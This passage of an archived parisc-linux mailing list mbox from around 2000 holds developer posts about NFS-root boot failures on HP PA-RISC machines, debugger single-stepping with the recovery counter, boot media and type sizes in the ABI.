in rereading, realized that I had put 192.68.1.11 in
palo/Makefile instead of 192.168.1.11.  Doh!

However, since the info is out there now, can someone
tell me what I need to resolve the following:

   [previous console output in previous mail]
   Switching from PDC console
   kmem_create: Forcing size word alignment - nfs_fh
   Looking up port of RPC 100003/2 on 192.168.1.11
   Looking up port of RPC 100005/2 on 192.168.1.11
   VFS: Mounted root (nfs filesystem) readonly.
   Kernel panic: No init found.  Try passing init= option to kernel.

jack
j-perdue@tamu.edu


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: law@redhat.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Single-stepping
Date: Wed, 15 Nov 2000 13:30:59 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <15884.974320259@upchuck>
References: <200011151949.OAA22929@hiauly1.hia.nrc.ca>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619293 6275 80.91.229.3 (22 Nov 2014 01:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:33 +0000 (UTC)
Cc: rhirst@linuxcare.com (Richard Hirst), parisc-linux@puffin.external.hp.com
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com  Wed Nov 15 13:28:30 2000
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA02541
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 13:28:29 -0700
Original-Received: from upchuck.cygnus.com (taarna.cygnus.com [205.180.230.102])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id MAA06765
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 12:30:33 -0800 (PST)
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id NAA15887;
	Wed, 15 Nov 2000 13:30:59 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Wed, 15 Nov 2000 14:49:02 EST.
             <200011151949.OAA22929@hiauly1.hia.nrc.ca> 
Original-Sender: law@cygnus.com
Xref: news.gmane.org gmane.linux.ports.parisc:8458


  In message <200011151949.OAA22929@hiauly1.hia.nrc.ca>you write:
  > >   I've been helping Alan Modra out with kernel changes to support
  > > single stepping for gdb.  Paul Bame suggested I bounced our ideas
  > > off you in case you (or anyone else) had any comments.  I havn't
  > > actually committed my changes yet.
  > > 
  > > The basic approach is to use the recovery counter to generate
  > > a trap every instruction.  The scheme is complicated because a
  > > suspended process may or may not return to user space via an RFI.
  > 
  > I really don't know enough to comment on the implementation choice.  Why
  > did you decide on this approach as opposed to inserting breaks and
  > enabling the taken branch branch trap (T)?  It would appear that the recove
  > ry
  > counter was intended to provide software recovery from hardware faults
  > in fault tolerant systems.  Possibly, Grant could comment on whether
  > it is actually useful for this purpose.
Err, we tried that at the UofU in our mach port to the PA -- there's a problem
with that scheme, though I don't remember precisely what it was.  I believe
there were cases where the recovery counter doesn't trigger a trap, possibly
due to nullified instructions.

You might look at the UofU BSD code, which I believe used breakpoints and
branch taken traps instad.

jeff


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palinux on a 712/60
Date: Wed, 15 Nov 2000 13:49:18 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20001115204918.D806E37CA7@carmen.fc.hp.com>
References: <C12531D038D1D011B1DB0000F8036C28071AB6FB@eosm5.oecd.org>  
 <20001115181010.W22138@neep.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619293 6282 80.91.229.3 (22 Nov 2014 01:21:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Wed Nov 15 13:45:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA03003
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 13:45:22 -0700
Original-Received: (qmail 29373 invoked by uid 15267); 15 Nov 2000 20:47:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29361 invoked from network); 15 Nov 2000 20:47:27 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 20:47:27 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id BB5AF9EF
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 15:47:26 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id D806E37CA7
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 13:49:18 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
In-Reply-To: Message from Andrew Shugg <andrew@neep.com.au> 
   of "Wed, 15 Nov 2000 18:10:13 +0800." <20001115181010.W22138@neep.com.au> 
Xref: news.gmane.org gmane.linux.ports.parisc:8459


Andrew Shugg writes...

> Arnaud.ATOCH@oecd.org said:
> > Hi,
> > 
> > I got a couple of 715 and I'd love having access to an ISO image with STI
> > console kernel too.
> 
> I've never made an El Torito CDROM, is it possible to have multiple boot
> images and a boot loader on a single disc?

El Torito is a PC thing. It makes the front of a CDROM look like a floppy to 
the PC BIOS. For hppa you put a lifimage on the front of the CDROM(or tape or 
HDD, etc).

> ie could the actual boot
> image be a boot loader (PALO) which then points at one or more kernels
> on the CDROM?

Maybe. Paul Bame is the expert though. I think he had to do some work to get 
palo to be able to see a kernel on an ISO9660 filesystem. I don't know if it 
can currently be interruped and pointed at a different kernel. Paul?

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with posix_types.h
Date: 15 Nov 2000 12:52:52 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <m3u299dkkb.fsf@otr.mynet.cygnus.com>
References: <E13w62o-0006Pv-00@noam.fc.hp.com>
	<E13w8KW-0006ZW-00@noam.fc.hp.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619294 6289 80.91.229.3 (22 Nov 2014 01:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc-linux@puffin.external.hp.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: drepper@redhat.com  Wed Nov 15 13:55:11 2000
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA03402
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 13:55:11 -0700
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id MAA09813;
	Wed, 15 Nov 2000 12:53:49 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id DA8DE3105; Wed, 15 Nov 2000 12:52:52 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Paul Bame's message of "Wed, 15 Nov 2000 12:34:48 -0700"
Original-Lines: 15
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8460

Paul Bame <bame@noam.fc.hp.com> writes:

> FYI I just heard some pretty good reasons why both ino_t and off_t
> should be 64 bits even on 32-bit kernels.  Keep those cards and letters
> coming!

Any new port which does *not* do this is broken from the beginning.
Copying existing files is not what you have to do.  Instead look at
today's needs.  The numbers of the x86 port are those the kernel
people told me are needs, multiplied by 2 or 4.  Do the same.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: johannes zahn <ich@johannes-zahn.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] init dies on apollo 720
Date: Wed, 15 Nov 2000 21:49:31 +0100
Organization: P.D.M.
Lines: 53
Approved: news@gmane.org
Message-ID: <00111521493100.20428@trinity>
Reply-To: ich@johannes-zahn.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619294 6294 80.91.229.3 (22 Nov 2014 01:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ich@johannes-zahn.de  Wed Nov 15 13:56:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA03700
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 13:56:49 -0700
Original-Received: (qmail 14337 invoked by uid 15267); 15 Nov 2000 20:58:53 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14328 invoked from network); 15 Nov 2000 20:58:53 -0000
Original-Received: from twister.domainfactory.de (212.84.255.3)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 20:58:53 -0000
Original-Received: (qmail 8916 invoked from network); 15 Nov 2000 20:58:49 -0000
Original-Received: from manz-3e3645ce.pool.mediaways.net (HELO trinity.johannes-zahn.de) (root@[62.54.69.206]) (envelope-sender <ich@johannes-zahn.de>)
          by twister.domainfactory.de (qmail-ldap-1.03) with SMTP
          for <parisc-linux@thepuffingroup.com>; 15 Nov 2000 20:58:49 -0000
Original-Received: from trinity (joe@trinity [192.168.1.1])
	by trinity (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id VAA20482
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 21:49:31 +0100
X-Mailer: KMail [version 1.1.99]
X-MIME-Autoconverted: from quoted-printable to 8bit by puffin.external.hp.com id NAA03700
Xref: news.gmane.org gmane.linux.ports.parisc:8461

Hi!

I'm trying to get a 720/50 to boot from nfs, but as soon as the nfs 
mound happened init dies. This is all i get on the serial console 
(pasted from minicom):


kmem_create: Forcing size word alignment - nfs_fh    
Looking up port of RPC 100003/2 on 192.168.1.1       
Looking up port of RPC 100005/2 on 192.168.1.1
VFS: Mounted root (nfs filesystem) readonly.

handle_interruption() pid=1 command='init'

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111011100001011
r0-3     00000000 4001ad3c 400057a3 00001f58
r4-7     4001967c 00000000 4001ada0 00001f58
r8-11    00000000 000023cc 00000001 00000000
r12-15   00001034 00000006 40019622 2001ff18
r16-19   c1fdc000 c027b60c 00000000 4001967c                            
r20-23   0000a090 0000a090 00009d8c 00001f58                            
r24-27   00000001 00000081 4001ada0 c01492b0                            
r28-31   00000000 0000000b 20020790 400032d7                            
sr0-4    00000001 00000001 00000000 00000001                            
sr4-8    00000001 00000001 00000001 00000001                            
        
IASQ: 00000001 00000001 IAOQ: 4000d237 4000d23b                         
 IIR: 0ed51280    ISR: 00000001  IOR: 00009d8c                          
ORIG_R28: 4001b208                                                      
        
handle_interruption() pid=1 command='init'                              
        
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                   

[...]

I tried the cvs-latest kernel and palo from 2000-11-10 and 2000-11-14 
with the crosscompiler from 2000-10-31. Buildhost is i386 linux.

nfsroot was from 2000-10-09 or base.tgz from the 0.5 beta CD.

I also tried the ramdisk images with sercon and sticon, but the kernel 
only says "cannot mount root FS on 01:00".

The kernel from the 0.5 beta CD seems to have the parport stuff, and 
that does not work on this machine.

Any ideas? Or a working .config?


johannes


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Single-stepping
Date: Wed, 15 Nov 2000 13:08:15 -0800 (PST)
Lines: 62
Approved: news@gmane.org
Message-ID: <200011152108.NAA23252@opus.allegro.com>
References: <200011151949.OAA22929@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619294 6298 80.91.229.3 (22 Nov 2014 01:21:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:34 +0000 (UTC)
Cc: rhirst@linuxcare.com (Richard Hirst), parisc-linux@puffin.external.hp.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: sieler@opus.allegro.com  Wed Nov 15 14:06:29 2000
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA04036
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 14:06:29 -0700
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id NAA23252;
	Wed, 15 Nov 2000 13:08:15 -0800
In-Reply-To: <200011151949.OAA22929@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 15, 2000 02:49:02 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8462

Re:

> > The basic approach is to use the recovery counter to generate
> > a trap every instruction.  The scheme is complicated because a
...

> I really don't know enough to comment on the implementation choice.  Why
> did you decide on this approach as opposed to inserting breaks and

MPE/iX (which runs on PA-RISC hardware), has successfully used
the Recovery Counter to implement single step for many, many years.

BTW, in addition to single step, it's a great tool for counting the
number of instructions a procedure (or code path) takes,
assuming an adequately powerful debugger:

   1) stop (perhaps via a breakpoint) at the start of the code
      you want to count.

   2) set a breakpoint at the end of the code you want to count
      (e.g., if you're counting a procedure, set a breakpoint at
      the procedure exit)

   3) instead of "continue", do:   s 1000000

      (i.e., tell Debug/iX to "singlestep" 1000000 instructions)

   4) if you hit the breakpoint, enter:

          = 1000000 - rctr

      that's how many instructions your code took!  (Not counting
      instructions executed by interrupt handlers, of course.)

   5) if you *didn't* hit the breakpoint, then 1000000 wasn't
      enough instructions (and why are you trying to count so high?)

This works because MPE's debug "s" command sets the Recovery Counter
to the number of instructions you wanted to step.  Normally, that's 
one (for just "s").  If you said "s 3", it would set the Recovery Counter
to 3.  If you say "s 1000000", and then execute 123 instructions,
and then hit a breakpoint, Debug captures the entire register state
as of the breakpoint: including the Recovery Counter (which has 
1000000 - 123 in it).

Tip: if you're looking at instruction-level debugging, look at Debug/iX
to see how to do it right!


> It would appear that the recovery
> counter was intended to provide software recovery from hardware faults

The 1986 PA-RISC Instruction manual simply says "The Recovery
Counter (CR 0) can be used to provide software recovery of hardware
faults in fault tolerant systems".  (I.e., "can", not "must" ...
and there's no explanation of how one would use it for this.)


-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:14:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils change in CVS...
Date: Tue, 20 Apr 1999 22:49:07 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990420224734.5593R-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619295 6300 80.91.229.3 (22 Nov 2014 01:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Tue Apr 20 22:49:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id WAA14713
	for <parisc-linux@sod.res.cmu.edu>; Tue, 20 Apr 1999 22:49:34 -0400
Original-Received: (qmail 3680 invoked by uid 15267); 21 Apr 1999 02:47:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3673 invoked from network); 21 Apr 1999 02:47:58 -0000
Original-Received: from devserv.devel.redhat.com (adevries@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 21 Apr 1999 02:47:58 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id WAA03507
	for <parisc-linux@thepuffingroup.com>; Tue, 20 Apr 1999 22:49:07 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8463


I've committed my patch to CVS for binutils that should let you commit
with a target of parisc-linux instead of hppa-linux.  I think there's at
least one problem with building it now because of this, so I'd appreciate
it if others could:

a) try rebuilding

and optionally:
b) fixing it.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with posix_types.h
Date: 15 Nov 2000 13:08:01 -0800
Lines: 10
Approved: news@gmane.org
Message-ID: <m3lmuldjv2.fsf@otr.mynet.cygnus.com>
References: <E13w62o-0006Pv-00@noam.fc.hp.com>
	<E13w8KW-0006ZW-00@noam.fc.hp.com>
	<m3u299dkkb.fsf@otr.mynet.cygnus.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619295 6305 80.91.229.3 (22 Nov 2014 01:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc-linux@puffin.external.hp.com
To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: drepper@redhat.com  Wed Nov 15 14:06:57 2000
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA04285
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 14:06:56 -0700
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id NAA12218;
	Wed, 15 Nov 2000 13:08:57 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 06C1F3105; Wed, 15 Nov 2000 13:08:01 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Ulrich Drepper's message of "15 Nov 2000 12:52:52 -0800"
Original-Lines: 9
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:8464

This reminds me of something I talked to Cary Coutant about before.

You have certainly reserved a thread register in the ABI, right?  If
not, do it ASAP.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frank_rowand@mvista.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Single-stepping
Date: Wed, 15 Nov 2000 13:16:28 -0800
Organization: Montavista Software, Inc
Lines: 50
Approved: news@gmane.org
Message-ID: <3A12FD2C.665AEF89@mvista.com>
References: <15884.974320259@upchuck>
Reply-To: frowand@mvista.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619295 6306 80.91.229.3 (22 Nov 2014 01:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:35 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>,
        parisc-linux@puffin.external.hp.com
To: law@redhat.com
Original-X-From: frank_rowand@mvista.com  Wed Nov 15 14:14:35 2000
Original-Received: from hermes.mvista.com (gateway-490.mvista.com [63.192.220.206])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA04661
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 14:14:34 -0700
Original-Received: from mvista.com (IDENT:frowand@mossi.mvista.com [10.0.0.71])
	by hermes.mvista.com (8.11.0/8.11.0) with ESMTP id eAFLEA324221;
	Wed, 15 Nov 2000 13:14:10 -0800
Original-Sender: frowand@hermes.mvista.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.12-20b i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8465

law@redhat.com wrote:
> 
>   In message <200011151949.OAA22929@hiauly1.hia.nrc.ca>you write:
>   > >   I've been helping Alan Modra out with kernel changes to support
>   > > single stepping for gdb.  Paul Bame suggested I bounced our ideas
>   > > off you in case you (or anyone else) had any comments.  I havn't
>   > > actually committed my changes yet.
>   > >
>   > > The basic approach is to use the recovery counter to generate
>   > > a trap every instruction.  The scheme is complicated because a
>   > > suspended process may or may not return to user space via an RFI.
>   >
>   > I really don't know enough to comment on the implementation choice.  Why
>   > did you decide on this approach as opposed to inserting breaks and
>   > enabling the taken branch branch trap (T)?  It would appear that the recove
>   > ry
>   > counter was intended to provide software recovery from hardware faults
>   > in fault tolerant systems.  Possibly, Grant could comment on whether
>   > it is actually useful for this purpose.
> Err, we tried that at the UofU in our mach port to the PA -- there's a problem
> with that scheme, though I don't remember precisely what it was.  I believe
> there were cases where the recovery counter doesn't trigger a trap, possibly
> due to nullified instructions.
> 
> You might look at the UofU BSD code, which I believe used breakpoints and
> branch taken traps instad.
> 
> jeff
> 

I implemented two different single step algorithms for a a _kernel_ debugger
for hp-ux.  The algorithm used could be chosen by a compile switch, because
each method had cases that weren't handled well - for some debugging tasks
one algorithm was superior to the other.  Part of my problem with the
recovery counter was that other services in the hp-ux kernel also used the
recovery counter.

I liked the recovery counter method better than my second method (but had to
deal with collisions with the other kernel services).  My second method was
to insert a breakpoint at the target of the single step.  It's a pain to do
that because of issues with delay slots, branching, and nullification.

I guess the point of all this rambling is to say that the recovery counter has
been successfully used by a debugger for single stepping.

-Frank
-- 
Frank Rowand <frank_rowand@mvista.com>
MontaVista Software, Inc


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Single-stepping
Date: Wed, 15 Nov 2000 13:47:15 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200011152147.NAA23824@opus.allegro.com>
References: <3A12FD2C.665AEF89@mvista.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619295 6309 80.91.229.3 (22 Nov 2014 01:21:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:35 +0000 (UTC)
Cc: law@redhat.com, dave@hiauly1.hia.nrc.ca (John David Anglin),
        rhirst@linuxcare.com (Richard Hirst),
        parisc-linux@puffin.external.hp.com
To: frowand@mvista.com
Original-X-From: sieler@opus.allegro.com  Wed Nov 15 14:45:19 2000
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA05606
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 14:45:18 -0700
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id NAA23824;
	Wed, 15 Nov 2000 13:47:15 -0800
In-Reply-To: <3A12FD2C.665AEF89@mvista.com> from "Frank Rowand" at Nov 15, 2000 01:16:28 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:8466

Re:

> I implemented two different single step algorithms for a a _kernel_ debugger
> for hp-ux.  The algorithm used could be chosen by a compile switch, because

BTW, Frank, ask Lee Courtney at MontaVista about Debug/iX ...
we've had kernel debugging and single stepping (except for the interrupt 
control stack and a few other corner cases) for 15+ years.

It's *very* powerful to be able to logon as root (or equivalent) and set
breakpoints within the kernel, hit them, and then single step 
... all on a standard release of the operating system.

> I liked the recovery counter method better than my second method (but had to
> deal with collisions with the other kernel services).  My second method was
> to insert a breakpoint at the target of the single step.  It's a pain to do
> that because of issues with delay slots, branching, and nullification.

Worse yet...the breakpoint mechanism raises hell if you have more than
one CPU :)    You realllly don't want that other CPU to hit the breakpoint!
 
-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com        


From - Thu Nov 08 21:14:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Thienemann <andreas@bawue.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 250/1 doesn't boot but dumps stack
Date: Thu, 16 Nov 2000 23:06:04 +0100
Organization: IXS
Lines: 22
Approved: news@gmane.org
Message-ID: <3A145A4C.BFF3D5D8@bawue.de>
References: <200011151923.LAA13597@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619296 6311 80.91.229.3 (22 Nov 2014 01:21:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:21:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: andreas@bawue.de  Wed Nov 15 15:00:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA06038
	for <parisc-linux@puffin.external.hp.com>; Wed, 15 Nov 2000 15:00:16 -0700
Original-Received: (qmail 14367 invoked by uid 15267); 15 Nov 2000 22:02:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14267 invoked from network); 15 Nov 2000 22:02:18 -0000
Original-Received: from bender.bawue.de (193.197.13.1)
  by mailserv2.iuinc.com with SMTP; 15 Nov 2000 22:02:18 -0000
Original-Received: from gate.ixs.bb.bawue.de (p3E9D2999.dip.t-dialin.net [62.157.41.153])
	by bender.bawue.de (Postfix) with ESMTP id 2F26080C
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 23:02:17 +0100 (CET)
Original-Received: from bawue.de (ixs.ixs.com [192.168.1.2])
	by gate.ixs.bb.bawue.de (8.9.3/8.9.3) with ESMTP id XAA31904
	for <parisc-linux@thepuffingroup.com>; Wed, 15 Nov 2000 23:02:15 +0100
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8467

